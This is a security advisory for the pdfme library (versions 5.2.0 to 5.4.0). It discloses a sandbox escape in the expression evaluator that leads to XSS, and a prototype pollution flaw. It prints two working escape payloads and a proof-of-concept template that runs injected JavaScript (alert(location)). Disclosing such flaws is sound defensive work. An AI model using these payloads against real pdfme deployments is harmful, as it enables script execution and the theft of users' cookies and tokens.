Summary

The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks.

Details

1. Sandbox Escape Leading to XSS

The expression evaluator's sandbox can be bypassed to execute arbitrary JavaScript code. Attackers can obtain the Function constructor through indirect methods:

// Attack vector 1: Using Object.getOwnPropertyDescriptor
{ ((f, g) => f(g(Object), "constructor").value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)("alert(location)")() }

// Attack vector 2: Using object property access
{ { f: Object.getOwnPropertyDescriptor }.f({ g: Object.getPrototypeOf }.g(Object), "constructor").value("alert(location)")() }

Both payloads bypass the sandbox restrictions and execute Function("alert(location)")().

2. Prototype Pollution

The expression evaluator allows access to prototype accessor methods which can be exploited with Object.assign to pollute the prototype chain:

• __lookupGetter__
• __lookupSetter__
• __defineGetter__
• __defineSetter__

Impact

These vulnerabilities allow attackers to:

• Execute arbitrary JavaScript code in the context of the application
• Steal sensitive information including cookies and tokens
• Modify application behavior through prototype pollution
• Potentially perform actions on behalf of users

Proof of Concept

Loading the following template in pdfme triggers alert(location):

{
  "schemas": [[{
    "name": "field1",
    "type": "text",
    "content": "{ ((f, g) => f(g(Object), 'constructor').value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)('alert(location)')() }",
    "position": { "x": 0, "y": 0 },
    "width": 100,
    "height": 100
  }]],
  "basePdf": { "width": 100, "height": 100 },
  "pdfmeVersion": "5.4.0"
}